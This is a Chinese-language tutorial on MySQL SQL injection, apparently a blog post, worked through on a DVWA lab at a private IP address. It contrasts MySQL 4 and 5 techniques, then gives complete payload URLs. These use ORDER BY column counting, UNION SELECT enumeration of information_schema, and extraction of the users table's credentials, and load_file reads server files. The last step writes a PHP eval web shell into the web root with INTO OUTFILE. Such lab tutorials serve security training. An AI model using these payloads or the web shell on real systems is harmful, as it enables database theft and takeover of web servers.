MySQL注入
一、MySQL 4和MySQL 5注入的区别
(一)MySQL 4 注入方法
1、概述
MySQL 4以及之前的版本中,不支持子语句查询,且没有系统库information_schema,而且当php.ini文件中开启了magic_quote_gpc=on时,提交的变量中的字符(例如单引号,双引号,反斜杠,and,空字符等)会被数据库自动转化为含有反斜杠的转义字符,在这种情况下,MySQL 4版本中,我们进行注入的方法是类似于access数据库注入的方法仅查询猜解。
2、常见方法
- 逐个猜解当前数据库名、表名、字段名
- 利用order by获取主查询字段的数量
- 使用union select联合查询相应数据库的信息
(二)MySQL 5 的注入方法
1、概述
MySQL 5版本及以上存在information_schema系统库,所以在存在注入点的情况下获取数据是比较便捷的,当然也可以通过盲注进行数据采集,除此之外我们还可以通过load_file函数读取数据库服务器中的脚本文件/敏感文件的内容,间接获取数据库的相关信息,也可以通过dumpfile/outfile函数拿到webshell从而控制服务器。
2、常见方法
- 盲注
- order by+union select+information_schema进行数据获取
- 利用load_file()函数进行攻击
- 利用dumpfile/outfile函数
二、MySQL 的注入实践
利用dvwa的实验环境
(一)注入点的检测
-
概述
利用
and 1=1 和 and 1=2
和单引号法
通过观察返回页面的不同,可以简单的判断该位置是否存在注入点 -
注入url
http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1 and 1=1&Submit=Submit http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1 and 1=2&Submit=Submit # 两条语句都不出错,就试试单引号 http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit # 出现错误页面则表示该位置存在注入点
(二)获取数据库的相关信息
1、利用order by 判断主查询字段的数量
-
注入url
http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1'+order+by+1+--+&Submit=Submit # 不报错 http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1'+order+by+2+--+&Submit=Submit # 不报错 http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1'+order+by+3+--+&Submit=Submit # 报错,说明主查询字段数量为2
2、构造union select的sql语句
-
注入url
http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select 1,2+--+&Submit=Submit # 正常回显,将1,2替换为SQL语句 http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select 1,2,3+--+&Submit=Submit #这个就会报错,因为union查询字段数超过主查询
3、用SQL语句替换union查询语句的字符
-
注入url
# 获取当前数据库名和当前数据库用户名 http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select user(),database()+--+&Submit=Submit# # 获取当前数据库版本 version() http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select version(),database()+--+&Submit=Submit#
(三)获取当前数据库的信息
-
获取数据库中表名
# 利用group_concat()函数可以一次性获取,where后面接的条件字符串最好转换成16进制 http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=0x64767761+--+&Submit=Submit#
-
获取相应表中的字段名
http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select database(),group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit#
-
获取字段内容
http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select user,password from users+--+&Submit=Submit#
(四)尝试webshell上传
1、条件
-
获取到web路径
-
对web目录具有写的权限
-
数据库开启了secure_file_priv
# 在my.ini中配置secure_file_priv=‘’,然后重启mysql,查看secure_file_priv的状态 mysql> show global variables like "%secure%"; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | |# 这里若是null,表示无法读取写入,若为一个指定路径表示仅可以在该路径读取写入;什么都没有,才表示可以任意读取写入 +------------------+-------+ 2 rows in set (0.00 sec)
2、注入url
-
测试能否读取服务器任意位置的文件
# c盘目录下先新建一个my.ini文件,然后尝试去读取一下 http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select 1, load_file('c:\\my.ini') +--+&Submit=Submit# # 这里会出现无法读取成功的情况,在magic_quotes_gpc=on时,各种符号被转义了,将文件路径转换为16进制进行注入 http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,%20load_file(0x27633a5c5c6d792e696e6927) +--+&Submit=Submit#
-
获取web路径
-
获取web路径的方法(有些信息收集的手段也要用到)
-
出错信息中显示web路径
# 在注入点出加单引号是最简单的报错方法,或者修改提交变量的类型等,写一个文件让他报错出路径 http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select 1,'0x3c3f202073646c6b6a666c3f7068703e' into outfile 'C:\\test.ini' +--+&Submit=Submit# 结果:C:\phpStudy\PHPTutorial\WWW\dvwa\便是web路径 Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\sqli\source\low.php on line 12
-
使用load_file读取配置文件
-
从phpinfo中找,找一下有没有phpinfo文件
-
各种信息收集的手段(信息收集作为专题总结)
-
-
-
写入webshell到web路径下
http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1' union select 1,"<?php @eval($_POST['chopper']);?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\dvwa\\123.php"+--+&Submit=Submit#
如有错误之处,欢迎指正!